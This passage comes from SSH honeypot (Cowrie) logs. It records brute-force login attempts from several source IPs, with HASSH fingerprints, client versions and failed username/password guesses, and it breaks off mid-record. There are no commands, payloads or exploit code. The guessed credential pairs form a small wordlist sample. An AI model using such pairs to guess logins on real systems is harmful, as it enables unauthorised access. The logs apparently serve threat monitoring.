{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:03.373452Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04081970","message":"login attempt [admin/04081970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:03.866472Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0408","message":"login attempt [admin/0408] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:04.970414Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040788","message":"login attempt [admin/040788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:06.077196Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040781","message":"login attempt [admin/040781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:07.181530Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04071971","message":"login attempt [admin/04071971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:08.285105Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:09.389310Z","src_ip":"2.57.121.112","session":"3c31f93d17ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":59062,"dst_ip":"10.17.0.5","dst_port":22,"session":"c143172e0397","protocol":"ssh","message":"New connection: 78.44.192.210:59062 (10.17.0.5:22) [session: c143172e0397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:40.599600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:40.604201Z","src_ip":"78.44.192.210","session":"c143172e0397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:40.714681Z","src_ip":"78.44.192.210","session":"c143172e0397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":58764,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42016466eb9","protocol":"ssh","message":"New connection: 79.143.189.125:58764 (10.17.0.5:22) [session: e42016466eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:40.949485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:40.954701Z","src_ip":"79.143.189.125","session":"e42016466eb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:41.049366Z","src_ip":"79.143.189.125","session":"e42016466eb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABcd123456","message":"login attempt [root/ABcd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:41.183684Z","src_ip":"78.44.192.210","session":"c143172e0397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hw@123456","message":"login attempt [root/hw@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:41.459410Z","src_ip":"79.143.189.125","session":"e42016466eb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:42.299924Z","src_ip":"78.44.192.210","session":"c143172e0397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:42.555226Z","src_ip":"79.143.189.125","session":"e42016466eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":45312,"dst_ip":"10.17.0.5","dst_port":22,"session":"de350af8fa7c","protocol":"ssh","message":"New connection: 121.168.139.251:45312 (10.17.0.5:22) [session: de350af8fa7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:52.289846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:52.293816Z","src_ip":"121.168.139.251","session":"de350af8fa7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:52.494770Z","src_ip":"121.168.139.251","session":"de350af8fa7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZXCasd123","message":"login attempt [root/ZXCasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:53.335309Z","src_ip":"121.168.139.251","session":"de350af8fa7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:38:54.539801Z","src_ip":"121.168.139.251","session":"de350af8fa7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57150,"dst_ip":"10.17.0.5","dst_port":22,"session":"268f4aa6ba73","protocol":"ssh","message":"New connection: 147.45.197.250:57150 (10.17.0.5:22) [session: 268f4aa6ba73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:01.748606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:01.756233Z","src_ip":"147.45.197.250","session":"268f4aa6ba73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:01.854648Z","src_ip":"147.45.197.250","session":"268f4aa6ba73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcyjzhcr","message":"login attempt [root/rhfcyjzhcr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:02.132430Z","src_ip":"147.45.197.250","session":"268f4aa6ba73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:03.226658Z","src_ip":"147.45.197.250","session":"268f4aa6ba73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":33280,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ffe2052450c","protocol":"ssh","message":"New connection: 45.233.218.160:33280 (10.17.0.5:22) [session: 0ffe2052450c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:08.985542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:08.990455Z","src_ip":"45.233.218.160","session":"0ffe2052450c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:09.126417Z","src_ip":"45.233.218.160","session":"0ffe2052450c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2024","message":"login attempt [root/admin@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:09.696419Z","src_ip":"45.233.218.160","session":"0ffe2052450c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:39:10.833990Z","src_ip":"45.233.218.160","session":"0ffe2052450c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":51276,"dst_ip":"10.17.0.5","dst_port":22,"session":"5739a35d9cf4","protocol":"ssh","message":"New connection: 62.133.62.83:51276 (10.17.0.5:22) [session: 5739a35d9cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:06.903862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:06.913388Z","src_ip":"62.133.62.83","session":"5739a35d9cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:07.012924Z","src_ip":"62.133.62.83","session":"5739a35d9cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"326159487","message":"login attempt [root/326159487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:07.257861Z","src_ip":"62.133.62.83","session":"5739a35d9cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:08.342977Z","src_ip":"62.133.62.83","session":"5739a35d9cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":50472,"dst_ip":"10.17.0.5","dst_port":22,"session":"e217989108cd","protocol":"ssh","message":"New connection: 85.11.167.46:50472 (10.17.0.5:22) [session: e217989108cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:18.707258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:18.713850Z","src_ip":"85.11.167.46","session":"e217989108cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:18.809385Z","src_ip":"85.11.167.46","session":"e217989108cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:19.071618Z","src_ip":"85.11.167.46","session":"e217989108cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:20.158023Z","src_ip":"85.11.167.46","session":"e217989108cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":53814,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ff8b78340ea","protocol":"ssh","message":"New connection: 79.143.189.125:53814 (10.17.0.5:22) [session: 2ff8b78340ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:27.163122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:27.171700Z","src_ip":"79.143.189.125","session":"2ff8b78340ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-